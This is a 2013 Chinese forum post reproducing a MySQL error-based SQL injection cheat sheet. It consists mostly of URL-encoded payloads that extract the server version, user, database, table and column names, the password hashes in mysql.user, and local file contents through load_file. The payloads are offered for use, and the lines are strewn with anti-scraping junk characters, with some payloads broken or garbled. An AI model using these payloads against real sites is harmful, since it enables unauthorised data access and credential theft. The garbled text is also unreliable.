本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 4 Z8 g. i/ f6 ?( T+ [
) K% g2 n( J! \. N1 M( a$ K7 ~
2 x. t$ L! }$ t, v: o. Z& d
Mysql暴错注入参考(pdf),每天一贴。。。
* i5 N) I; {3 J8 l1 Q2 V3 o8 C9 U, i4 n: [* [: S3 s3 n
MySql Error Based Injection Reference
5 B$ @# h& k* G; @! o8 u[Mysql暴错注入参考]5 _5 v+ |( F( Q- w7 F. S
Authornig0s1992
/ h# o) I1 }( P! t6 aBlog:http://pnig0s1992.blog.51cto.com/5 Y7 d4 U$ A K# B: i/ g# {
TeAm:http://www.FreeBuf.com/& Y# ~( Q" M: G% S1 {. j: g
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
j' |) P$ c2 }) f小部分版本使用name_const()时会报错.可以用给出的Method.2测试) t9 e+ I- u7 I* p. D( q b% p( t
查询版本:
7 V% x5 Y1 H- P- z( |* s2 yMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
0 V2 p& N7 A% q/ \8 Ajoin+(select+name_const(@@version,0))b)c)
& w$ l2 v5 S& r6 t- E; i. Z0 CMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
1 R% j* _$ T6 K0 Vup by a)b)4 o) Y+ ?6 s- T. s* v
查询当前用户:
/ |; Q! H8 A/ S! O5 `0 j0 `& {Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)5 G r& ?+ X7 g" }: j8 J) I0 ?
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r; F& ]; k" \& _$ F( H! o* Y
and(0)*2))x+from+information_schema.tables+group+by+x)a)( C. D8 u K2 `3 D8 j4 Z
查询当前数据库:
5 S% C1 t3 a& }8 YMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)& y5 u6 w5 U/ E$ R
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo$ `; u. s7 o1 m
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
" N2 B+ n- I/ n; }$ E! V依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
. p Z$ h9 m J! H- bLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n" p8 u8 k, r! G' _
顺序替换
# d2 s2 e/ L! Y爆指定库数目:
6 R* m! S* m) s4 Nand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
g3 n, Z! _4 Z6 c: r3 @9 x# L% [able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
, Z& y; K/ v1 ^1 d! H8 e+by+x)a)+and+1=1 0x6D7973716C=mysql8 i8 S* s; I- ~; g' I5 e
依次爆表:; `; E+ @8 c* `7 d6 ~
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t2 s% v; q( ?$ V0 S
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
6 S3 V2 {, J: ?4 Ybles+group+by+x)a)+and+1=1: C1 Y6 R5 y. d
0x6D7973716C=Mysql 将n顺序替换
, H7 V* @* s3 w( |: y( D; [1 ]爆表内字段数目:: g6 J/ M, R. _) |" f
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE. D" f8 m9 v& P( f: X5 `
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran" ^2 t; p% `8 `4 |9 Z' x8 V
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
- ^$ I4 }5 ]) V( O; ]依次爆字段:; k t; D! Y/ K6 u7 g9 h* L+ i
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where j8 D& O1 W) Q. ~
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,19 S/ p P8 j6 u9 G( Q# F
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
; c, O: f' w! k" l- r依次暴内容:
( t/ g2 }. |' a( H6 Xand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche# b& T g- @6 K9 L6 N
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
( |9 l% C5 f) G3 B( y7 _- L5 W0 o将n顺序替换
, q2 x4 K( Q3 L7 L1 R' V爆文件内容:
5 q' u5 F- u0 b2 u4 O0 @and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
5 @# R L* [1 w9 q* ]! Efrom+information_schema.tables+group+by+a)b) 6 g2 x: }) ]3 u' b: C" q
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节 T& h# t; n0 x7 V# M) ?
Thx for reading.$ [$ E( H H- C* G" }5 v+ u8 L
3 U' k; x7 @: y" g, o. F不要下载也可以, * `3 A+ T* z3 |+ p
|